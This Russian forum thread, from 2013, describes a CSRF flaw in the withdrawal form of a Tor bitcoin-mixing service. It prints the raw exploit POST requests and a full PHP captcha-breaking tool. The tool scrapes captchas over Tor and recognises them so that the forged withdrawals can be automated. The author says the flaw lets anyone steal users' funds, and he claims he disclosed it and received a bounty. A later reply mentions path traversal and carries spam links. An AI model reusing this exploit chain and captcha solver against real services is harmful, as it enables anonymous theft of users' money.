Старый 06.08.2013, 09:18   #1
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
Cool Один сервер, Tor и Bitcoin

Всем доброго времени суток. В последнее время достаточно много новостей о Tor и Bitcoin, обе системы в достаточной мере направлены на безопасность и анонимность, однако их преимущества могут одновременно стать и недостатками.

Структура Tor не позволяет определять местоположение клиента и сервера, более-того, цепочка соединений меняется через некоторое время. Большинство участников сети пользуются специально сконфигурированными браузерами, в основе которых заложено:
  • Блокирование всех плагинов (Java, Flash, etc)
  • Автоматическое изменение User-Agent и удаление Referer
  • Выборочное включение Cookie и Javascript

Отследить пользователя практически невозможно, как и взломщиков, однако вопрос, как в таком случае сервера защищаются от атак, направленных на клиентскую часть? Рядовой пользователь сети использует несколько сервисов и форумов(так как сайтов немного относительно легко сделать массовую атаку), на последних же довольно часто включают javascript, иначе общаться достаточно сложно, а пройти регистрацию/авторизацию/заниматься модерирование бывает вовсе невозможно.

Один из популярных сайтов в сети - сервис по обелению Bitcoin Fog. Его можно использовать как кошелек, многие переводят через него крупные суммы. Ну а где есть деньги, найдутся и мошенники, но мы плывем под белым флагом. Единственное, что мешает дальнейшему повествованию, это недавний запрет:
Цитата:
На форуме запрещены линки на реальные сайты с уязвимостями!
Поэтому линков я приводить не буду Для анализа можно использовать Charles, он умеет работать с TOR, необходимо настроить браузер на его SOCKS5, а выход в сеть устроить через носок тора.

Веб-сервер близок к самописному - удобнее использовать Bitcoin-клиент и скомпрометировать местоположение значительно сложнее. Данные авторизации хранятся через подобие сессии:
Код:
i337session=7dQnknhziIOoCRTu
Единственное их отличие от обычных - это hash-id авторизации, при выходе или повторной авторизации произойдет повторная генерация. В форме регистрации красуется оригинальная капча и XSS, но вот незадача, форма недоступна для пользователей, а session-fixation невозможен. Не побывал определить сервер, но возможно реализуема атака на генератор этого рандома, но боюсь тогда это цензура точно не пропустит.

Однако в форме вывода средств ожидает сюрприз - дву-запросная CSRF с вводом капчи.
PHP код:
POST /?page=payout HTTP/1.1
Cookie
i337session=UYkPnWi9ZbjsalFd

amount
=1.00000&to=WEXvDBop2774LaZYBDeMuo3o1JP8u7h2N9xv&timespan_hours=6&delay_hours=0&action=schedulewithdrawal

POST 
/?page=payout HTTP/1.1
Cookie
i337session=UYkPnWi9ZbjsalFd

captcha_text
=duckroll&captcha_id=YcUNEvwfSB&action=schedulewithdrawal2 
Сначала мы записываем реквизиты и сумму в сессию, а потом вводом капчи подтверждаем платеж. Но капчи в сессии нет, для универсальности у неё имеется свой ID. Post-запросы мы отправим только через javascript, или через нажатия пользователя. Асло мы не знаем сумму на счете, но выбирать рандомную в определенном пределе мы можем. Что нам не хватает для реализации? Листов хэш:капча и много биткоиновых кошельков. Последние быстро генерируются через bitcoind, а вот капчу вводить руками не хочется. Рассмотрим её поближе.





Капча содержится прямо в коде через data-протокол, но мы имеем возможность обновления капчи, текст остается тот-же, а расположение символов меняется. Капча содержит от 6 до 8 символов, символы не наклоняются, содержаться всегда в нижней части. Символы могут слипаться до неузнаваемости, читаются слова... Шрифт оригинальный, самому можно безошибочно вводить её только после длительной практики, отсюда антигейт не пойдет. Фон под разными углами, после проверки капчи она перестает быть доступна - это нам поможет при проверке удачности атаки.

Ну что, будем писать распозновалку. Реализовывать сложные системы для простой капчи не очень хочется, но получить опыт и исходники для дальнейших реализаций хотелось. В гугле найти достойных тем не удалось, хотя раньше они встречались.

Использовать будем PHP. Во первых тем кто тут владеет PHP это будет интересно, во вторых сервер и либы у многих стоят по дефлоту, ну и в третих потом спортировать код куда-либо не будет трудной задачей. Работа с самим сервисом простая, прокинули Tor через privoxy и используем cURL:
PHP код:
<?php
class fog {
        private 
$curl;
       
        
/* Новый хэш для капчи */
        
public function getCapchaHash() {
                
preg_match('/name\=\"captcha_id\" value\=\"([A-Za-z0-9]+)\"/'$this->getURL('http://**.onion/?page=register')['response'], $out);

                return 
$out[1];
        }
        
/* Изображение по хэшу */
        
public function getImgByHash($hash$test false) {
                
$data $this->getURL('http://**.onion/?page=showcaptcha&captchaid='.$hash);

                        
/* Проверка доступности капчи */
                
if(!$data || !(isset($data['HTTP']['CONTENT_TYPE']) && $data['HTTP']['CONTENT_TYPE'] === 'image/jpeg' && $data['code'] === 200))
                        return 
false;
                elseif(
$test)
                        return 
true;

                return 
imagecreatefromstring($data['response']);
        }
/* Магические */
        
public function __construct() {
                
$this->curl curl_init();
                
curl_setopt_array($this->curl, array(
                        
//CURLOPT_VERBOSE => true, // Отладка
                        
CURLOPT_RETURNTRANSFER => true,
                        
CURLOPT_PROXY => '127.0.0.1:8089',
                        
CURLOPT_PROXYTYPE => CURLPROXY_HTTP,
                        
CURLOPT_ENCODING => 'gzip, deflate',
                        
CURLOPT_HEADER => true,
                        
CURLOPT_CONNECTTIMEOUT => 10
                
));
        }
        public function 
__destruct() {
                
curl_close($this->curl);
        }
/* Приватные */
        
private function getURL($url) {
                
curl_setopt_array($this->curl, array(
                        
CURLOPT_URL => $url,
                        
CURLOPT_USERAGENT => get_user_agent() // Воборка из списка по рандому
                
));
                
$data curl_exec($this->curl);
                if(
curl_errno($this->curl) !== 0)
                        return 
false;
               
                
$response preg_split('/\r{0,1}\n\r{0,1}\n/'$data2);
                
$response[0] = preg_split('/\r{0,1}\n/'$response[0]);
                
$headerCount count($response[0]);
               
                
preg_match('/^[^ ]+ ([^ ]+)/'$response[0][0], $code);
                
$ret = array(
                        
'code' => (int)$code[1],
                        
'HTTP' => array(),
                        
'response' => &$response[1]
                );
               
                for(
$i=1$i $headerCount; ++$i) {
                        
$header preg_split('/:[ ]+/'$response[0][$i]);
                        
$ret['HTTP'][str_replace('-''_'strtoupper($header[0]))] = trim($header[1]);
                }
                return 
$ret;
        }
}
И больше нам ничего не надо. Теперь капча, если присмотреться, в ней участвуют рандомные цифры, слова и матерные сокращения , рандомных строк нет поэтому мы можем устроить хоть какой-то валидавтор:
PHP код:
public $wordsArr = array(
        
'wtf',
        
'duckroll',
        
'duck',
        
'rick',
        
'quake',
        
'wut',
        
'inter',
        
'btc',
        
'fog',
        
'leo',
        
'int',
        
'coin',
        
'lol',
        
'nyan',
        
'rtfm',
        
'zerg',
        
'lmao',
        
'rofl',
        
'tubes',
        
'brb'
);
private function 
textCheck($text) {
        
$text preg_replace('/[0-9]/'''$text);
        
$count count($this->wordsArr);
       
        
startFor:
        for(
$w=0$w $count; ++$w) {
                if(
substr($this->wordsArr[$w], 0strlen($text)) === substr($text0strlen($this->wordsArr[$w]))) {
                        if(!(
$text substr($textstrlen($this->wordsArr[$w]))))
                                return 
true;

                                goto 
startFor;
                }
        }
               
        return 
false;

Одна из возможных реализаций. Вырезаем цифры, далее организуем цикл по списку слов. Обрезаем слово из словоря по длине капчи и капчу по длине словаря. Если строки равны, то обрезаем капчу. Когда строа будет пустой, substr возвратит false, иначе мы переходим на начало цикла.

Займемся обработкой капчи. Создадим новый холст для одной нижней части и скопируем её.
PHP код:
                $img imagecreatetruecolor(19082);
                
imagecopy($img$imgByUrl0006819082);
       
                list(
$width$height) = array(imagesx($img), imagesy($img)); 
Символы очень контрастны, однако при простом сравнение мы получаем абсолютно нечитабельный текст:

Но мы можем побитого сравнить каждый канал:
PHP код:
define('truePX'0x000000);
define('falsePX'0xFFFFFF);

private function 
imgTo1Bit ($img$width$height) {
        for (
$x=0$x $width; ++$x) {
                for (
$y=0$y $height; ++$y) {
                        
$px imagecolorat($img$x$y);
                        
$px =          ((
                                        ((
$px 0xFF0000) == 0xFF0000) ||
                                        ((
$px 0x00FF00) == 0x00FF00) ||
                                        ((
$px 0x0000FF) == 0x0000FF)
                                )?
truePX:falsePX);
                        
imagesetpixel($img$x$y$px);
                }
        }

Забыл сказать, для первой реализации я решил полность использовать GD Image True Color, без всяких массивов и более-оптимальных представлений однобитовых изображений. В GD есть множество функций, позволяющих выполнять нужные операции, да и отладку делать гораздо проще, можно обойтись без древних велосипедов. Это работает достаточно быстро, и теперь я уже могу выслушать ваши предложения более-оптимальных представлений.

Далее нам необходимо автоматическое кодирование, готовых реализаций я не нашел, опять пришлось писать самому:
PHP код:
        private function autoCrop (&$img, &$width, &$height) { //Автоматическая обрезка
                
$top     0;
                
$footer  0;
                
$left    0;
                
$right   0;
               
                for (
$y=0$y $height; ++$y) {
                        for (
$x=0$x $width; ++$x) {
                                if (
imagecolorat($img$x$y) !== falsePX)
                                        break 
2;
                        }
                        ++
$top;
                }
                for (
$y=($height 1); $y >= 0; --$y) {
                        for (
$x=0$x $width; ++$x) {
                                if (
imagecolorat($img$x$y) !== falsePX)
                                        break 
2;
                        }
                        ++
$footer;
                }
                for (
$x=0$x $width; ++$x) {
                        for (
$y=0$y $height; ++$y) {
                                if (
imagecolorat($img$x$y) !== falsePX)
                                        break 
2;
                        }
                        ++
$left;
                }
                for (
$x=($width-1); $x >= 0; --$x) {
                        for (
$y=0$y $height; ++$y) {
                                if (
imagecolorat($img$x$y) !== falsePX)
                                        break 
2;
                        }
                        ++
$right;
                }
                
$width = ($width-$left-$right);
                
$height = ($height-$footer-$top);
               
                
$newImg imagecreatetruecolor($width$height);
                
$ret imagecopy($newImg$img00$left$top$width$height);
                
imagedestroy($img);
                
$img $newImg;

                return 
$ret;
        } 
Сначала мы проходим по верхним и нижним строкам, далее по левым и правым столбцам, и просто копирум с новыми данными нужную область на другой холст.

Необходима разбивка, склеенные символы бывает невозможно даже человеу разобравть, но раз у нас есть много капчей, и много попыток для их обновлений, то мы можем себе позволить разбирать по пустым строкам.
PHP код:
        public $minChrPxX 5// Минимальная ширина буквы
        
public $maxChrPxX 34// Максимальная ширина буквы
       
        
private function autoSplit ($img$width$height$flag false) { //Автоматическое разделение на символы
                
$splitArr = array(0);

                
/*
                        Производим проход с подсчетом пустых пикселей в столбце
                */
                
for ($x=0$x $width; ++$x) {
                        for (
$y=0$y $height; ++$y) {
                                if (
imagecolorat($img$x$y) !== falsePX)
                                        continue 
2;
                        }
                        
$splitArr[] = $x;
                }
               
                
$splitArr[] = ($width-1);
                
$count count($splitArr);
               
                
$outImgArr = array();
                
$outImgCount = -1;
                
/*
                        Производим проход по предыдущим данным
                */
                
for($i=1$i $count; ++$i) {
                        
$startX $splitArr[$i-1];
                        
$endX $splitArr[$i];

                        if((
$endX $startX) < $this->minChrPxX// Пропускаем разделение кривых буквы
                                
continue;
                        if((
$endX $startX) > $this->maxChrPxX) { // Если буква слишком толстая (не одна)
                                
return false;
                        }
                        
/* Копируем область с символом*/
                        
$outImgArr[++$outImgCount] = array(imagecreatetruecolor(($endX-$startX), $height), ($endX-$startX), $height);

                        
imagecopy($outImgArr[$outImgCount][0], $img00$startX0$splitArr[$i], $height);
                        if(
$flag === true) {// См. аргументы
                                
$this->autoCrop($outImgArr[$outImgCount][0], $outImgArr[$outImgCount][1], $outImgArr[$outImgCount][2]);
                                
$this->noiseBorderRemove($outImgArr[$outImgCount][0], $outImgArr[$outImgCount][1], $outImgArr[$outImgCount][2]);
                                
$this->autoCrop($outImgArr[$outImgCount][0], $outImgArr[$outImgCount][1], $outImgArr[$outImgCount][2]);
                        }
                }
                return 
$outImgArr;
        } 
$this->noiseBorderRemove это обрезка небольшой группы пикселей располагающейся на большем расстоянии от смвола. В слеующих реализациях эту функцию и автоматическую обрезку практичнее будет объеденить, тем более удаление шума реализовано не очень правильным способом:
PHP код:
public $minStrForNoise 5// Минимальное число пустых строк/столбцов между шумом и символом
public $maxNoiseLenX 2;   // Макс. кол-во пикселей шума

private function noiseBorderRemove ($img$width$height) { // Удаление лишних пикселей при большом расстоянии от символа
        
$pxArr = array();
        
$retCountSide 0;
                for (
$y=0$y $height; ++$y) {
                
$thisInStrPxCount 0;
               
                for (
$x=0$x $width; ++$x) {
                                if (
imagecolorat($img$x$y) !== falsePX)
                                
$thisInStrPxCount++;
                }
               
                
$pxArr[] = $thisInStrPxCount;
        }
        
/* Строки сверху */
        
if($pxArr[0] <= $this->maxNoiseLenX && _array_sum($pxArr1, ($this->minStrForNoise+1)) === 0)
                
imageline($img00, ($width-1), 0falsePX) && ++$retCountSide;
        
/* Строки снизу */
                
if(end($pxArr) <= $this->maxNoiseLenX && _array_sum($pxArr, (count($pxArr)-2-$this->minStrForNoise), (count($pxArr)-2)) === 0)
                
imageline($img0, ($height-1), ($width-1), ($height-1), falsePX) && ++$retCountSide;
       
        return 
$retCountSide;
}
        ...
function 
_array_sum(&$arr$start$end) {
        
$ret 0;
        for(
$i=$start$i<$end; ++$i)
                
$ret += $arr[$i];
               
        return 
$ret;

Пришлось опять проходить по картинке, да еще и рисовать линии, и еще один цикл в внешней функции. Такой код в дальнейшем придется убрать, не знаю что на меня нашло когда я это писал. Не помешали-бы и исключения для удобной отладки. Теперь о распозновании, самый простой вариант - база размеров и статическая карта пустых пикселей. Выглядит это так:
PHP код:
array(
        
'char'      => '2',
        
'width'     => 17,
        
'height'    => 43,
        
'px' => array(
                array(
08124),
                
/*
                        (0, 12)     - Старт выделения
                        (0+8, 12+4) - Конец выделения
                */
                
array(123283)
        )
),
array(
        
'char'      => '3',
        
'width'     => 18,
        
'height'    => 43,
        
'px' => array(
                array(
08126),
                array(
08266)
                )
        ),
array(
                
'char'      => '4',
        
'width'     => 22,
        
'height'    => 43,
        
'px' => array(
                array(
0103011)
        )
), 
Её минусы в очень большой статичности... Наполнял её я вручную. И самая главная часть, это процесс распознования, точнее поиска по базе:
PHP код:
/* Распознование символов */
public $errorChrSize 5;
public 
$errorChrPx 2;

        private function 
getChrFromImg ($img$width$height) {
        static 
$db$countDB;

        if(!
$db) {
                
$db = require ('charArray.php');
                
$countDB count($db);
        }
        
$error 65535;

        
$variation false;
        
$pxVal false;
       
        for(
$i=0$i $countDB; ++$i) {
                
$size abs($db[$i]['width'] - $width) + abs($db[$i]['height'] - $height);
                
$px 0;
                
$pxF false;

                if (
$size >= $this->errorChrSize// Проверка на размер
                        
continue;
                        if(isset(
$db[$i]['px'])) {// Проверка по чистым пикселям
                        
$pxF true;

                        
$countPx count($db[$i]['px']);
                       
                        for(
$j=0$j $countPx; ++$j) {
                                
$isNull $this->imgIsNull($img$width$height,
                                        
$db[$i]['px'][$j][0],
                                        
$db[$i]['px'][$j][1],
                                        
$db[$i]['px'][$j][2],
                                                
$db[$i]['px'][$j][3]
                                );
                                if(
$isNull === false || ($px $isNull) > $this->errorChrPx)
                                        continue 
2;
                                
$px += $isNull;
                        }
                }

                
/* Сравнение с предыдущим вариантом */
                
$out $size $px;

                if(
$out $error || ((($out - ($this->errorChrSize)) < $error) && $px === 0)) {
                                
$error $out;
                        
$variation $db[$i]['char'];
                        if(
$pxF && $px === 0)
                                break;
                }
        }
        return 
$variation;

Итоги: При запуске было успешно получен лист с 500-а капчами и их значениями, валид - 100%.

Надеюсь теперь вы понимаете как работают системы распознования, как это реализуется в коде, какие есть тонкости и моменты, где что можно оптимизировать и использовать в дальнейшем.

Сейчас нашел одну из статей по теме, с нейросетью и исходниками на питоне: http://habrahabr.ru/post/116222/
Нейросети в капчах мне не очень нравятся, поскольку да же при сложной реализации можно обойтись без неё, пусть разпознавая не каждую капчу, но с большей валидностью.

Администрация была предупреждена об уязвимостях, исходники предлагаются. Использовал все наработки только для тестов, лицензия MIT.

Copyright (c) 2013 NameSpace

Последний раз редактировалось NameSpace; 26.08.2013 в 14:55..
NameSpace вне форума   Ответить с цитированием
Старый 06.08.2013, 11:13   #2
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Добавил немного картинок, совсем забыл про них..
Сам сервис: http://s018.radikal.ru/i520/1308/76/9a4af1c1b7bb.png
NameSpace вне форума   Ответить с цитированием
Старый 07.08.2013, 20:36   #3
chupakabra
 
Аватар для chupakabra
 
Регистрация: 09.12.2011
Сообщений: 47
Репутация: 5
По умолчанию

Не понял одного - статья вроде как про распознавание капчи, а причем тут Tor и Bitcoin?
chupakabra вне форума   Ответить с цитированием
Старый 08.08.2013, 05:24   #4
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от chupakabra Посмотреть сообщение
Не понял одного - статья вроде как про распознавание капчи, а причем тут Tor и Bitcoin?
В одном из крупном сервисов в сети Tor была найдена CSRF, которая позволяет воровать деньги со счетов(анонимно, анонимнее некуда уже).

Для того, что-бы сделать это(разумеется сам у себя), необходимо обойти капчу, в этом случае это возможно по уже вбитым парам hash-id капчи и текста, но я решил распознавать её для упрощения атаки(создания её независимости от вбивал) ну и показать вам как это работает, .

Не первые исходники, ни вторые пока не дают прикрепить по причине открытости уязвимости...

Последний раз редактировалось NameSpace; 26.08.2013 в 14:55..
NameSpace вне форума   Ответить с цитированием
Старый 26.08.2013, 14:58   #5
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

От администрации получил добро на публикацию исходных кодов: http://www.sendspace.com/file/7hu0kb

Большое спасибо её за вознаграждение в размере 2 BTC за аудит
NameSpace вне форума   Ответить с цитированием
Старый 05.11.2013, 13:55   #6
Alisam
 
Регистрация: 05.11.2013
Сообщений: 1
Репутация: 0
По умолчанию

Веб-серверы нормализуют путь перед обработкой (не все), таким образом, в Request-Path можно передать произвольные данные и используя path-traversal все равно обратится к уязвимому скрипту.
__________________
jacket jacket
pmp certification training pmp certification training
70-662 practice test 70-662 practice test
ccie lab ccie lab
Alisam вне форума   Ответить с цитированием
Ответ

Метки
bitcoin, capcha, csrf, php, tor

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot